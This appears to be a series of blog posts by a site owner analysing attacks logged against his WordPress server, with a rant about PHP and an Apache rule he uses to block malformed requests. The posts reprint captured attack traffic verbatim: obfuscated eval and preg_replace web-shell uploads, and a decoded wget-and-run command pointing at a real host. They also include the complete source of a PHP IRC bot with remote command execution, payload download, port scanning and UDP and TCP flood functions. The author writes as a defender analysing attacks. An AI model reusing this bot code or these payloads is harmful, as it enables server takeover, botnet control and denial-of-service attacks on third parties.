I would rather be unemployed than forced to write code in PHP

My blog currently uses WordPress. I’ve written numerous times about the various PHP based attacks I see every day because of the stupid security mistakes PHP programmers make. I’ve also made a few changes to the WordPress software to make it saner about handling and logging requests. Thus I knew PHP was awful from my own limited interaction with it. Then I came across this article: PHP: a fractal of bad design. This one point from that article should be enough to result in a death sentence for the language:

PHP’s one unique operator is @ (actually borrowed from DOS), which silences errors.

Holy shit! The developer(s) of PHP remind me of a coworker in my first post college job. He thought he could design and implement a new language. Yet he had no idea what the computer science terms “parser”, “lexical analysis”, “tokenizer” etc. meant. I suspect he would be welcomed by the PHP community.

Interesting new WordPress attack signature using POST /xmlrpc.php

Today I noticed an interesting, and hitherto unseen, attack from 5.152.192.218 which is owned by cloud provider redstation.com (or redstation.co.uk if you prefer). The attack started with this request:

POST /xmlrpc.php HTTP/1.0
Host: www.skepticism.us
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Note the ancient HTTP/1.0 protocol specification. The methodCall is also ill-formed causing PHP to issue a notice and warning messages about Undefined index: VALUE and Invalid argument supplied for foreach().

That request was followed by another POST /xmlrpc.php that attempted to use the system.multicall method; something I’ve never seen in an attack before now. The “multicall” methods were all wp.getCategories invocations with my user ID and various passwords. In the past six months (as far as my logs go) I only started seeing attempts to exploit wp.getCategories two days ago. And this attack was the first one to do so by using system.multicall to reduce the number of requests it had to make to test which, if any, of large number of passwords was valid

A few minutes after writing the previous text I noticed that I had in fact seen another attack employing the system.multicall method to execute wp.getCategories multiples times in a single request. That attack was from ttnetdc.com in Turkey. That attack was very different. First, it was not preceded by the demo.sayHello request. Second, the wp.getCategories calls all used the generic admin account rather than my account. Third, the XML was formatted in a more or less human readable form rather than the tightly packed sequence of tokens from the attack I saw this morning and talk about above.

Thus it appears that a general approach about how to efficiently test for valid WordPress credentials was recently documented and we’re now seeing various hackers attempt to exploit that advice.

Another interesting attack against the “beauty-clean” WP theme

Today I logged another attack that attempts to exploit the horribly broken (i.e., full of security holes) “beauty-clean” WordPress theme. It also exploits a misfeature of PHP that is one of hundreds of reasons that PHP needs to die. Anyone who tells me they’re proud they write most of their code in PHP is someone who probably received way too many awards as a child merely for participating.

I wrote about the first attack I noticed against this theme just two weeks ago. This most recent attack is similar yet different. It leverages the fact the WP theme creates a temporary file using the filename provided by the attacker and then doesn’t remove the file.

POST / HTTP/1.1
Referer: http://www.skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.skepticism.us
Content-Length: 409
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="resd.php"
Content-Type: text/php

<?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");?>45000
--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

Here is the PHP program the hacker is attempting to install on my system:

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");

Notice the childish attempt at obfuscating the code. Removing the obfuscation we get:

preg_replace("/[discuz]/e", $_POST['h'], "Access");

OMFG! It’s going to execute whatever PHP code the attacker passes via a “h” POST parameter four times: once for each occurrence of the letters “c” and “s” in the word “Access”. So not only is the person who wrote the “beauty-clean” theme incompetent so is this hacker.

Attacker attempts to install minimalist backdoor via POST /license.php

This has been quite a week for novel attacks. Prior to the past few days it seemed like nearly 100% of the attacks I observed against my server fell into just a couple of categories:

1) credential guessing via /xmlrpc.php or /wp-login.php, and

2) attempts to exploit WordPress plugin “revslider” vulnerabilities to install malware to my server.

Today’s entry in the new and unusual category is from a server in the US in the colocrossing.com domain. It first attempted a POST / request which my Apache firewall rules rejected and caused the source to be blacklisted. Notice that it is attempting to install the most minimal backdoor you can imagine. It’s just a single-line PHP script that simply evaluates whatever PHP statements the attacker hands it.

POST / HTTP/1.1
Referer: http://skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: skepticism.us
Content-Length: 340
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="sys.php"
Content-Type: text/php

...<?php @eval($_POST["err"]);?>45000

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

It was apparently trying to exploit either a WordPress plugin or malware already present on my server to create a file named “sys.php” that did nothing more than eval() whatever PHP statements it was handed in a POST request. I did a bit of googling and found a couple of WP plugins that might be relevant but was not able to definitively find a match.

When that upload failed it attempted to create the same file with the same content via a POST /license.php request.

Finally, despite my server having returned HTTP 400 and 403 statuses for all the requests it tried to see if the “sys.php” file was present and could be fetched. Notice it’s sleazy attempt to impersonate the Google web crawler:

GET /sys.php HTTP/1.1
Referer: http://www.googlebot.com/bot.html
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Host: skepticism.us
Connection: Close
Update 2014-09-24: I just saw the same attack again from someplace in Korea (no reverse DNS or WhoIs data for the address). Only this time the core of the malware is

@eval($_POST["Fktol!coco"])

Notice the POST parameter has changed from err to Fktol!coco.

Attack that tries to install wp-infos.php via POST /controllers/uploader/upload.php

I saw another novel attack today. What makes this one particularly interesting is that the first request was an attempt to upload a file named /wp-infos.php. It did so via a

POST /controllers/uploader/upload.php

request. That path might be an alternate for the ninja uploader vulnerability I wrote about yesterday.

The attacker then issued a

GET /wp-infos.php?osc=cm0gLXJmIHp1Yi4qOyBybSAtcmYgbWFyaW5hYnkqOyB3Z2V0IGh0dHA6Ly93d3cuYWVzbWkucHQvbW9vZGxlL2NhbGVuZGFyL3dwLWVuZ2luZS5id2U7IG12IHdwLWVuZ2luZS5id2UgenViLnBocDsgY2htb2QgNzc3IHp1Yi5waHA7IHBocCB6dWIucGhwOyBybSAtcmYgenViLio=

The value for the osc parameter is base64 encoded and decodes to:

rm -rf zub.*; rm -rf marinaby*; wget http://www.aesmi.pt/moodle/calendar/wp-engine.bwe; mv wp-engine.bwe zub.php; chmod 777 zub.php; php zub.php; rm -rf zub.*

I fetched the URI hosted on www.aesmi.pt using curl and to my surprise it was the exact same PHP script the attacker believed they had just installed on my system. Literally byte for byte identical.

Below you’ll find the 855 line PHP script the attacker attempted to install. There are a couple of things worth pointing out. The server this script attempts to connect to is at IP address 78.140.173.43 which has hostname v-5-509-d4122-43.webazilla.com (although the backdoor implements a “moveserver” command to allow the person controlling this bot to change the server). The “chan” is the typical hacker value “1x33x7”.

<?php
  set_time_limit( 0 );
  error_reporting( 0 );
  echo "Success!";

  class pBot
  {
    var $using_encode = true;

    var $config = array(
      'server'   => 'NzguMTQwLjE3My40Mw==',  //server here (base64)
      'port'    => 9595,
      'chan'    => 'MXgzM3g3',    //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
      'key'    => '',
      'nickform'  => 'logging[%d]',
      'identp'  => 'darxs',
      'modes'    => '+p',
      'maxrand'  => 6,
      'cprefix'  => '!',
      'host'    => 'Peter@'
    );

    var $admins = array
    (
      'LND-Bloodman' => '2cbd62e679d89acf7f1bfc14be08b045' // pass = "lol_dont_try_cracking_12char+_:P"
      //passes are MD5 format, you can also have multiple admins
    );

    function auth_host( $nick, $password, $host )
    {
      $admin_count = count( $this->admins );
      if( $admin_count > 0 )
      {
        $mpass = md5( $password );
        if( $this->admins[ $nick ] == $mpass )
        {
          $this->users[ $host ] = true;
        }
      }
      else
      {
        $this->users[ $host ] = true;
      }
    }

    function is_authed( $host )
    {
      return isset( $this->users[ $host ] );
    }

    function remove_auth( $host )
    {
      unset( $this->users[ $host ] );
    }

    function ex( $cfe )
    {
      $res = '';
      if (!empty($cfe))
      {
        if(function_exists('class_exists') && class_exists('Perl'))
        {
          $perl = new Perl();
          $perl->eval( "system('$cfe');" );
        }
        if(function_exists('exec'))
        {
          @exec($cfe,$res);
          $res = join("\n",$res);
        }
        elseif(function_exists('shell_exec'))
        {
          $res = @shell_exec($cfe);
        }
        elseif(function_exists('system'))
        {
          @ob_start();
          @system($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('passthru'))
        {
          @ob_start();
          @passthru($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('proc_open'))
        {
          $res = proc_open($cfe);
        }
        elseif(@is_resource($f = @popen($cfe,"r")))
        {
          $res = "";
          while(!@feof($f)) { $res .= @fread($f,1024); }
          @pclose($f);
        }
      }
      return $res;
    }

    function is_safe( )
    {
      if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
      {
        return 0;
      }
      return 1;
    }

    function get_chan( )
    {
      if( $this->using_encode )
      {
        return '#'.base64_decode( $this->config[ 'chan' ] );
      }
      else
      {
        return '#'.$this->config[ 'chan' ];
      }
    }

    function start()
    {
      if( $this->using_encode )
      {
        if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }
      else
      {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }

      $ident = $this->config['prefix'];
      $alph = range("0","9");
      for( $i=0; $i < $this->config['maxrand']; $i++ )
      {
        $ident .= $alph[rand(0,9)];
      }

      if( strlen( $this->config[ 'pass' ] ) > 0 )
      {
        $this->send( "PASS ".$this->config[ 'pass' ] );
      }

      $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
      $this->set_nick( );
      $this->main( );
    }

    function main()
    {
      while(!feof($this->conn))
      {
        $this->buf = trim(fgets($this->conn,512));
        $cmd = explode(" ",$this->buf);
        if(substr($this->buf,0,6)=="PING :")
        {
          $this->send("PONG :".substr($this->buf,6));
        }
        if(isset($cmd[1]) && $cmd[1] =="001")
        {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);

          if( $this->using_encode )
          {
            $this->join($this->get_chan( ),base64_decode($this->config['key']));
          }
          else
          {
            $this->join($this->get_chan( ),$this->config['key']);
          }

          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
        }
        if(isset($cmd[1]) && $cmd[1]=="433")
        {
          $this->set_nick();
        }
        if($this->buf != $old_buf)
        {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
            switch($cmd[1])
            {
              case "QUIT":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PART":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PRIVMSG":
                if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
                {
                  if( $this->is_authed( $host ) == false )
                  {
                    switch( substr( $mcmd[ 0 ], 1 ) )
                    {
                      case "auth":
                      {
                        $this->auth_host( $nick, $mcmd[ 1 ], $host );
                        if( $this->is_authed( $host ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
                        }
                        break;
                      }
                    }
                  }
                  else
                  {
                    switch(substr($mcmd[0],1))
                    {
                      case "exec":
                      {
                        if( !$this->is_safe( ) )
                        {
                          $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                          $returndata = $this->ex( $command );
                          if( !empty( $returndata ) )
                          {
                            $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
                          }
                        }
                        break;
                      }
                      case "info":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
                        break;
                      }
                      case "safe":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                        break;
                      }
                      case "uname":
                      {
                        $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
                        break;
                      }
                      case "perl":
                      {
                        if( $this->is_safe( ) )
                        {
                          $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
                          break;
                        }

                        $perl_file = $mcmd[1];

                        if( !empty( $perl_file ) )
                        {
                          $parsed_url = $this->parse_url_s( $perl_file );

                          $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
                          $new_local   = $parsed_url[ 'file' ];
                          $file_type  = $parsed_url[ 'file_ext' ];

                          $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
                          $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');

                          $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
                          break;
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
                        break;
                      }
                      case "ip":
                      {
                        $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
                        break;
                      }
                      case "rfi":
                      {
                        $fileUrl = $mcmd[1];

                        if( !empty( $fileUrl ) )
                        {
                          $urli = parse_url( $fileUrl );

                          if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
                          {
                            $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );

                            if( $fp )
                            {
                              $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
                              $out .= "Host: ".$urli['host']."\r\n";
                              $out .= "Keep-Alive: 300\r\n";
                              $out .= "Connection: keep-alive\r\n\r\n";
                              fwrite( $fp, $out );

                              $get_data = '';

                              while(!feof($fp))
                              { $get_data .= fgets( $fp, 256 ); }

                              $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
                              break;
                            }
                          }
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
                        break;
                      }
                      case "base64":
                      {
                        $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        switch( $mcmd[1] )
                        {
                          case "encode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed).
                            break;
                          }
                          case "decode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed).
                            break;
                          }
                        }
                        break;
                      }
                      case "md5":
                      {
                        $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
                        break;
                      }
                      case "dns":
                      {
                        if(isset($mcmd[1]))
                                         {
                                            $ip = explode(".",$mcmd[1]);
                                            if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
                            && is_numeric($ip[2]) && is_numeric($ip[3]))
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd
                                            }
                                            else
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd
                                            }
                                         }
                        break;
                      }
                      case "exit":
                      {
                        fclose( $this->conn );
                        exit( );
                        break;
                      }
                      case "restart":
                      {
                        $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
                        $this->send( "QUIT :restart command from ".$nick );
                        fclose( $this->conn );
                        $this->start();
                        break;
                      }
                      case "bs":
                      {
                        if( $this->is_safe( ) )
                        {
                          ini_restore( "safe_mode" );
                          ini_restore( "open_basedir" );
                        }

                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                          $this->set_nick();
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                      }
                      case "moveserver":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $server = $mcmd[1];
                          $port = $mcmd[2];
                          $channel = $mcmd[3];
                          $key = $mcmd[4];

                          if( $this->using_encode )
                          {
                            $this->config[ 'server' ] = base64_encode( $server );
                            $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
                            $this->config[ 'key' ] = base64_encode( $key );
                          }
                          else
                          {
                            $this->config[ 'server' ] = $server;
                            $this->config[ 'chan' ] = str_replace( "#", "", $channel );
                            $this->config[ 'key' ] = $key;
                          }

                          $this->config[ 'port' ] = $port;
                          $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." =>
                          $this->send( "QUIT :moveserver command from ".$nick );

                          fclose( $this->conn );
                          $this->start();
                        }
                        break;
                      }
                      case "whois":
                      {
                        $param2 = $mcmd[1];

                        if( !empty( $param2 ) )
                        {
                          //do it
                          //http://ws.arin.net/whois/?queryinput=127.0.0.1
                          $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );

                          if( $fp )
                          {
                            $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
                            $out .= "Host: ws.arin.net\r\n";
                            $out .= "Keep-Alive: 300\r\n";
                            $out .= "Connection: keep-alive\r\n\r\n";
                            fwrite( $fp, $out );

                            $whodata = '';
                            while(!feof($fp))
                            {
                              /*do nothing*/
                              $whodata .= fread( $fp, 1024 );
                            }

                            $explk = explode( "<div id=\"content\">", $whodata );
                            $explk = explode( "</div>", $explk[1] );
                            $htmldat = strip_tags( $explk[0] );

                            fclose( $fp );

                            $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );

                          }else{
                            $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
                        }
                        break;
                      }
                      case "upftp":
                      {
                        //ftp://user:password@host.com
                        $pftp = parse_url( $mcmd[1] );
                        $file = $mcmd[2];
                        $dest = $mcmd[3];

                        if( empty( $pftp[ 'host' ] )
                          || empty( $pftp[ 'user' ] )
                          || empty( $pftp[ 'pass' ] )
                          || empty( $file )
                          || empty( $dest ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
                        }
                        else
                        {
                          $conn_id = ftp_connect( $pftp[ 'host' ] );
                          $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );

                          if( ( !$conn_id ) || ( !$login_result ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
                          }
                          else
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user
                            $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
                            if( !$upload )
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
                            }
                            else
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
                              $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
                            }
                          }
                        }
                        break;
                      }
                      case "joinchan":
                      {
                        $channel = $mcmd[1];
                        $key = $mcmd[2];
                        $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
                        $this->join( $channel, $key );
                        break;
                      }
                      case "partchan":
                      {
                        $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
                        $this->send( "PART ".$mcmd[1] );
                      }
                      case "vuln":
                      {
                        $server_name = $_SERVER['SERVER_NAME'];
                        $req_uri = $_SERVER['REQUEST_URI'];

                        if( $server_name != "localhost" && $server_name != "127.0.0.1" )
                        {
                          if( strlen( $server_name ) && strlen( $req_uri ) )
                          {
                            $vuln = "http://".$server_name.$req_uri;
                            $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
                          }
                        }
                        break;
                      }
                      case "download":
                      {
                        if( count( $mcmd ) > 2 )
                        {
                          if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
                          }
                          else
                          {
                            if( !$get = file( $mcmd[ 1 ] ) )
                            {
                              $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
                            }
                            else
                            {
                              for( $i=0; $i <= count( $get ); $i++ )
                              {
                                fwrite( $fp, $get[ $i ] );
                              }
                              $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
                            }
                            fclose( $fp );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
                        }
                        break;
                      }
                      case "pmsg":
                      {
                        $person = $mcmd[1];
                        $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
                        $this->privmsg( $person, $text );
                        break;
                      }
                      case "pscan":
                      {
                        $host = $mcmd[1];
                        $beginport = $mcmd[2];
                        $endport = $mcmd[3];
                        $open_ports = "Open Port List for ".$host.": ";

                        for($i = $beginport; $i < $endport; $i++)
                        {
                          if( $this->scanport( $host, $i ) )
                          {
                            $open_ports .= "|".$i;
                          }
                        }

                        $this->privmsg( $this->get_chan( ), $open_ports );
                        break;
                      }
                      case "software":
                      {
                        $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
                        break;
                      }
                      case "snf":
                      {
                        $this->config[ 'nickform' ] = $mcmd[ 1 ];
                        $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
                        break;
                      }
                      case "randnick":
                      {
                        $this->set_nick();
                        break;
                      }
                      case "unauth":
                      {
                        $this->remove_auth( $host );
                        $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
                        break;
                      }
                      case "urlbomb":
                      {
                        $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
                        break;
                      }
                      case "udpflood":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                        }
                        break;
                      }
                      case "tcpflood":
                      {
                         if( count( $mcmd ) > 5 )
                         {
                           $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                         }
                         break;
                      }
                    }
                  }
                }
              break;
            }
          }
        }
        $old_buf = $this->buf;
      }
      $this->start();
    }

    function scanport( $host, $port )
    {
      if( fsockopen( $host, $port, $e, $s ) )
      {
        return 1;
      }
      return 0;
    }

    function urlbomb( $host, $path, $times, $mode = 0 )
    {
      if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
        return;

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );

      $success = 0;
      for( $i = 0; $i < $times; $i++ )
      {
        $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
        if( $fp )
        {
          $out = "GET /".$path." HTTP/1.1\r\n";
          $out .= "Host: ".$host."\r\n";
          $out .= "Keep-Alive: 300\r\n";
          $out .= "Connection: keep-alive\r\n\r\n";
          fwrite( $fp, $out );

          if( $mode != 0 )
          {
            while(!feof($fp)){/*do nothing*/}
          }

          fclose( $fp );

          $success++;
        }
      }

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
    }

    function udpflood( $host, $packetsize, $time )
    {
      $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time)
      {
        $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
        fwrite($fp,$packet);
        fclose($fp);
        $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
    }

    function tcpflood($host,$packets,$packetsize,$port,$delay)
    {
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++)
        $packet .= chr(mt_rand(1,256));

      for($i=0;$i<$packets;$i++)
      {
        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
          {
          $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
            return 0;
           }
           else
           {
          fwrite($fp,$packet);
          fclose($fp);
        }
           sleep($delay);
      }
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
    }

    function send($msg)
    {
      fwrite($this->conn,"$msg\r\n");
    }

    function join($chan,$key=NULL)
    {
      $this->send("JOIN $chan $key");
    }

    function privmsg($to,$msg)
    {
      $this->send("PRIVMSG $to :$msg");
    }

    function notice($to,$msg)
    {
      $this->send("NOTICE $to :$msg");
    }

     function set_nick()
     {
      $prefix = "[lnx]";
      if(isset($_SERVER['SERVER_SOFTWARE']))
      {
        if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
          $prefix = "[A]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
          $prefix = "[I]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
          $prefix = "[X]";
        else
          $prefix = "[U]";
      }

      if( !$this->is_safe( ) )
      {
        $prefix .= "[win32]";
      }

      $random_number = "";
      for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
      {
        $random_number .= mt_rand( 0, 9 );
      }

      $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
      $this->send("NICK ".$this->nick);
     }

    function parse_url_s( $url )
    {
      $URLpcs = ( parse_url( $url ) );
      $PathPcs = explode( "/", $URLpcs['path'] );
      $URLpcs['file'] = end( $PathPcs );
      unset( $PathPcs[ key( $PathPcs ) ] );
      $URLpcs['dir'] = implode("/",$PathPcs);

      $fileext = explode( '.', $URLpcs['file'] );

      if(count($fileext))
      {
        $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
      }

      return ($URLpcs);
    }
  }

  $bot = new pBot;
  $bot->start();

?>

Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability

Looking at my web server logs I noticed a new attack signature:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1

With user-agent libwww-perl/5.808

Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:

# A surprising amount of malware sends URIs with two leading slashes. While
# technically not illegal it is an extremely strong malware signal. No
# legitimate browser or web crawler would do that.
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteCond %{THE_REQUEST} ^\S+\s+// [NC]
RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]

Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:

google search result

[~] [Shell Upload:] Ninja Application File Upload Vulnerability ...
hackforums.net/showthread.php?tid=4993982
3 days ago - 3 posts - ‎2 authors
Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.

Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.

The contents of this particular attack were:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
